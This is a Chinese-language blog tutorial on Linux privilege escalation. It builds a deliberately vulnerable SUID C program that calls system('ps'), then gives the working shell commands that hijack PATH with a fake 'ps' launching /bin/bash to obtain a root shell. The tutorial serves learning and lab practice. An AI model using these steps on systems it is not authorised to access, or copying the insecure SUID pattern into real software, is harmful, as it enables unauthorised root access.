Linux提权之SUID

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它会通过PATH变量来响应用户执行的命令,向shell发送请求以搜索可执行文件。超级用户通常还具有/ sbin和/ usr / sbin条目以便于执行系统管理命令。

SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。

查看$PATH变量

1
2
fire@fire-Box:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

环境搭建

我们需要先生成一个具有SUID权限的程序,所以先编写一个c语言程序,代码如下:

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0);
setgid(0);
system("ps");
return 0;
}

然后对其进行编译,并给编译出来的赋予SUID权限(chmod u+s pwn等同于chmod 4755 pwn

1

开始提权

根据文章 Linux Privilege Escalation Using PATH Variable 中提到的4种提权方法,实际上可以归结为1种,就是修改环境变量调用 /bin/bahs 程序。下面来看具体操作:

1
2
3
4
5
6
find . -perm -u=s -type f 2>/dev/null	# 在当前目录下查找具有SUID权限的可执行文件
echo "/bin/bash" > ps # 在当前目录下生成一个内容为 /bin/bash 的ps文件
chmod 777 ps # 给它可执行权限
echo $PATH # 查看当前环境变量
export PATH=.:$PATH # 将当前路径添加到环境变量中
./pwn # 执行具有SUID权限程序

2

首先我们使用 find . -perm -u=s -type f 2>/dev/null 在当前目录下查找具有SUID权限的可执行文件,我们找到了pwn。由于pwn程序调用了了系统的ps程序,所以我们要在当前目录下生成一个内容为 /bin/bash 的ps文件,并给它可执行权限,然后我们再把当前路径添加到环境变量中,这样做的目的就是然程序搜索ps程序的时候,先从当前目录开始搜索,这样就会搜索到我们生成的ps文件,从而执行 /bin/bash 程序,达到提权的目的。

我们还可以使用创建软链接的方式来替代上面的 echo "/bin/bash">ps && chmod 777 ps 命令,这种方式更快些。

1
ln -s /bin/bash ps

3

参考文章

Linux Privilege Escalation Using PATH Variable

利用 PATH 环境变量进行 Linux 提权

Linux Privilege Escalation using SUID Binaries

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/06/09/Linux提权之SUID/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog